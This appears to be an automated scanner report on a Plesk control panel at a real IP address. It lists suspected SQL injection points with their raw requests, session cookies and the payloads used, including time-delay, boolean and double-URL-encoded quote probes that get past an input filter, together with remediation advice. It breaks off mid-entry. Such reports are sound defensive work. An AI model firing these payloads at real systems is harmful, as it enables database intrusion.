SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Remediation background
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the User-Agent HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/create-dir/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)%2527 Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/create-dir/ Cookie: PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=true; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; user=187d997e8ea6a5d0f56792f7f9ba70a4; Content-Type: multipart/form-data; boundary=--------570965659 Content-Length: 756
----------570965659 Content-Disposition: for ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:45 GMT Connection: close Content-Length: 91835
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The filelist cookie appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the filelist cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the value of the filelist cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 04:10:52 GMT Connection: close Content-Length: 178759
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The filter parameter appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the filter parameter. The application took 20098 milliseconds to respond to the request, compared with 3767 milliseconds for the original request, indicating that the injected SQL command caused a time delay.
The show-getting-started-popup cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the show-getting-started-popup cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/create-dir/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/create-dir/?cmd=chdir&file=%2Fhttpsdocs%2F Cookie: PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=true'; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; user=187d997e8ea6a5d0f56792f7f9ba70a4; Content-Type: multipart/form-data; boundary=--------2114532707 Content-Length: 1147
name ----------2114532707 Content-Disposition: form ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:53 GMT Connection: close Content-Length: 91835
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The subcmd parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the subcmd parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the subcmd request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The PHPSESSID cookie appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the PHPSESSID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/create-file/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/create-file/ Cookie: PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=true; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73')waitfor%20delay'0%3a0%3a20'--; testCookie=test; psaContext=domains; filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; user=187d997e8ea6a5d0f56792f7f9ba70a4; Content-Type: multipart/form-data; boundary=--------1299797581 Content-Length: 881
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:40 GMT Connection: close Content-Length: 85781
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The extract[0] parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the extract[0] parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/create-file/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/create-file/ Cookie: PLESKSESSID=d9f3512785d3d4954fc9f71052a4fb73; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=true; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; filelist=YTo1OntzOjU6ImZsYWdzIjtpOjA7czo0OiJzb3J0IjtzOjQ6Im5hbWUiO3M6NjoiZmlsdGVyIjtzOjA6IiI7czo0OiJwYWdlIjtpOjA7czo4OiJwYWdlU2l6ZSI7aToyNTt9; user=187d997e8ea6a5d0f56792f7f9ba70a4; Content-Type: multipart/form-data; boundary=--------852740817 Content-Length: 1606
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:17 GMT Connection: close Content-Length: 91837
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the Referer HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/edit/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='%20and%201%3d1--%20 Cookie: PLESKSESSID=10321169792bce25daa15603ea9ba645; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=10321169792bce25daa15603ea9ba645; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------55270169 Content-Length: 1117
name ----------55270169 Content-Disposition: form-data; ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:26 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The locale cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the locale cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
POST /plesk/client@1/domain@1/hosting/file-manager/permissions/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/permissions/?fname=C%3A%2FInetpub%2Fvhosts%2Fplesk.cloudscan.me%2F.Security Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US'; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------1908927970 Content-Length: 1628
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:22 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
Request 2
POST /plesk/client@1/domain@1/hosting/file-manager/permissions/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/permissions/?fname=C%3A%2FInetpub%2Fvhosts%2Fplesk.cloudscan.me%2F.Security Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US''; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------1908927970 Content-Length: 1628
The show-getting-started-popup cookie appears to be vulnerable to SQL injection attacks. The payload ')waitfor%20delay'0%3a0%3a20'-- was submitted in the show-getting-started-popup cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/permissions/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/permissions/?fname=C%3A%2FInetpub%2Fvhosts%2Fplesk.cloudscan.me%2F.Security Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false')waitfor%20delay'0%3a0%3a20'--; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------1908927970 Content-Length: 1628
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:14 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/rename/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)' Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/rename/?cmd=chdir&file=%2Fhttpdocs%2Fstatistics%2F Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------1777036819 Content-Length: 1147
name ----------1777036819 Content-Disposition: form ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:48 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
1.12. http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/rename/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload " was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/rename/?1"=1 HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/rename/?cmd=chdir&file=%2Fhttpdocs%2Fstatistics%2F Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------1777036819 Content-Length: 1147
name ----------1777036819 Content-Disposition: form ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:44 GMT Connection: close Content-Length: 84811
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
1.13. http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/view/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload %2527 was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses. There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/view/?1%2527=1 HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/view/?cmd=chdir&file=%2Fprivate%2F Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8; Content-Type: multipart/form-data; boundary=--------748587290 Content-Length: 1132
name ----------748587290 Content-Disposition: form-da ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:42 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The user cookie appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the user cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
POST /plesk/client@1/domain@1/hosting/file-manager/view/ HTTP/1.1 Host: 174.122.23.218:8880 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://174.122.23.218:8880/plesk/client@1/domain@1/hosting/file-manager/view/?cmd=chdir&file=%2Fprivate%2F Cookie: PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf; do-not-show-getting-started-popup=true; SessionID=42b54cb11fc3aedbd; sessionID=ratyxspkfhncnbudbnjoxfoj; show-getting-started-popup=false; locale=en-US; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73; testCookie=test; psaContext=domains; user=54a8ad2443247fe6e4900290dc4e0cf8',0,0,0)waitfor%20delay'0%3a0%3a20'--; Content-Type: multipart/form-data; boundary=--------748587290 Content-Length: 1132
name ----------748587290 Content-Disposition: form-da ...[SNIP]...
Response
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 05:04:23 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The user cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the user cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the user cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The force parameter appears to be vulnerable to SQL injection attacks. The payloads 21243057%20or%201%3d1--%20 and 21243057%20or%201%3d2--%20 were each submitted in the force parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The PLESKSESSID cookie appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the PLESKSESSID cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /smb/redirect/pleskin/root//?dst=%2Fplesk%2Fclient%401%2Fdomain%401%2Fhosting%2Ffile-manager%2F&src=%2Fsmb%2Fweb%2Fview%2Fid%2F1&srcController=WebController HTTP/1.1 Host: 174.122.23.218:8880 Proxy-Connection: keep-alive Referer: http://174.122.23.218:8880/smb/web/view/id/1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: show-getting-started-popup=false; do-not-show-getting-started-popup=true; show-getting-started-popup=true; user=187d997e8ea6a5d0f56792f7f9ba70a4; PLESKSESSID=9d849cf17c2d47b0f3a3632f74ebeeaf',0)waitfor%20delay'0%3a0%3a20'--; PHPSESSID=d9f3512785d3d4954fc9f71052a4fb73
Response (redirected)
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 03:04:38 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
1.18. http://174.122.23.218:8880/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://174.122.23.218:8880
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ',0,0,0)waitfor%20delay'0%3a0%3a20'-- was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 03:04:35 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the User-Agent HTTP header, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be PostgreSQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: PHP/5.2.6 X-Powered-By: ASP.NET Date: Sun, 10 Oct 2010 02:26:16 GMT Connection: close Content-Length: 85847
<br /> <b>Notice</b>: Constant PRODUCT_MODE already defined in <b>C:\Program Files (x86)\Parallels\Plesk\admin\auto_prepend\auth.php3</b> on line <b>11</b><br /> <br /> <b>Notice</b>: Constant VZCP_ ...[SNIP]... </b>: Constant SERVICE_POSTGRESQL already defined in <b> ...[SNIP]...
1.20. http://174.122.23.218:8880/domains/sitebuilder_edit.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
